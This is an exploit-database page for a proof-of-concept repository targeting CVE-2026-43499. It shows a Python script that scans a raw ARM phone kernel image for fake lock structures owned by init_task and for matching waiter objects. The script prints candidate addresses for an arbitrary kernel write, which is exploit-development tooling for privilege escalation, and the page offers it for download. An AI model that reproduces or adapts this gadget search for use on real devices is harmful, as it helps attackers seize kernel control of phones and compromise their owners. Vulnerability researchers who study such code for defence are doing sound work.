Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

169 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files678
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

analysis/find_gadgets2.py

Python · 2,807 bytes
import struct

data = open(r"F:\phone\ow251\全量包\kernel_raw.bin","rb").read()
BASE = 0xC0008000
INIT_TASK = 0xc1b11640

# Search for fake_lock: [0]=0, [4]=target, [8]=0, [12]=init_task or init_task|1
print("=== fake_lock with owner=init_task ===")
init_task_bytes = struct.pack("<I", INIT_TASK)
init_task1_bytes = struct.pack("<I", INIT_TASK | 1)

candidates = []

# Search in data/BSS range
for off in range(0, len(data) - 16, 4):
    w0 = struct.unpack_from("<I", data, off)[0]
    w8 = struct.unpack_from("<I", data, off + 8)[0]
    w12 = struct.unpack_from("<I", data, off + 12)[0]
    if w0 == 0 and w8 == 0 and w12 in (INIT_TASK, INIT_TASK | 1):
        w4 = struct.unpack_from("<I", data, off + 4)[0]
        vaddr = BASE + off
        # target should be a writable kernel address
        if 0xC1000000 <= w4 <= 0xC2000000:
            candidates.append((vaddr, w4, w12))

print(f"Found {len(candidates)} candidates")
for fl, tgt, own in candidates[:50]:
    tgt_off = tgt - BASE
    tgt_val = struct.unpack_from("<I", data, tgt_off)[0] if 0 <= tgt_off < len(data)-4 else -1
    print(f"  fake_lock=0x{fl:08x} -> write 0x???????? to 0x{tgt:08x} (current=0x{tgt_val:08x}) owner=0x{own:08x}")

# Now search for child objects: +8=0, +0x1c=fake_lock, +0x20<120
print("\n=== Searching for matching child objects ===")
for fl, tgt, own in candidates:
    fl_bytes = struct.pack("<I", fl)
    # Search for fake_lock pointer in the data section
    start = 0
    while True:
        pos = data.find(fl_bytes, start)
        if pos == -1:
            break
        start = pos + 1
        # Check if this is at offset 0x1c of a child object
        child_base = pos - 0x1c
        if child_base < 0:
            continue
        child_vaddr = BASE + child_base

        # Check child+8 = 0
        rb_left = struct.unpack_from("<I", data, child_base + 8)[0]
        if rb_left != 0:
            continue

        # Check child+0x20 < 120
        prio = struct.unpack_from("<I", data, child_base + 0x20)[0]
        if prio >= 120:
            continue

        # Check child+0x04 (rb_right) - should be 0 or a readable pointer
        rb_right = struct.unpack_from("<I", data, child_base + 4)[0]
        rb_parent = struct.unpack_from("<I", data, child_base)[0]

        # Check child+0x18 (task) - in the owner=init_task path with W1 not leftmost,
        # wake_up_process is NOT called, so this doesn't need to be valid
        task_val = struct.unpack_from("<I", data, child_base + 0x18)[0]

        print(f"  MATCH! child=0x{child_vaddr:08x} fake_lock=0x{fl:08x}")
        print(f"    rb_parent=0x{rb_parent:08x} rb_right=0x{rb_right:08x} rb_left=0x{rb_left:08x}")
        print(f"    task=0x{task_val:08x} lock=0x{fl:08x} prio={prio}")
        print(f"    Write target=0x{tgt:08x}")
        print()